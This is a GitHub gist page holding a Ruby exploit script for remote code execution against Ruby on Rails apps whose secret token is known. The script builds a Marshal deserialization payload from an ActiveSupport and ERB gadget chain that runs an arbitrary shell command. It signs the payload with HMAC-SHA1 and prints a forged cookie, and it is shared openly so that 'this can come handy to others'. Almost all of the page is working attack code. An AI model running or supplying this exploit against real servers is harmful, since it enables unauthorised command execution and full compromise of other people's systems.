Skip to content

Instantly share code, notes, and snippets.

@abdulsec

abdulsec/rails-secret-token-rce.rb

Forked from rootxharsh/rails-secret-token-rce.rb
Created February 23, 2025 19:43
Show Gist options
  • Save abdulsec/b6caea7f566d7384f388eb7a47a9bd88 to your computer and use it in GitHub Desktop.
Save abdulsec/b6caea7f566d7384f388eb7a47a9bd88 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @rootxharsh rootxharsh created this gist Jul 19, 2018.
    22 changes: 22 additions & 0 deletions rails-secret-token-rce.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,22 @@
    #THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
    require 'base64'
    require 'openssl'
    require 'optparse'
    require 'open-uri'
    SECRET_TOKEN = "SECRET HERE"
    code = "eval('`COMMAND HERE`')"
    marshal_payload = Base64.encode64(
    "\x04\x08" +
    "o" +
    ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
    "\x07" +
    ":\x0E@instance" +
    "o" + ":\x08ERB" + "\x06" +
    ":\x09@src" +
    Marshal.dump(code)[2..-1] +
    ":\x0C@method" + ":\x0Bresult"
    ).chomp
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"),
    SECRET_TOKEN, marshal_payload)
    marshal_payload = URI::encode(marshal_payload)
    puts "#{marshal_payload}--#{digest}"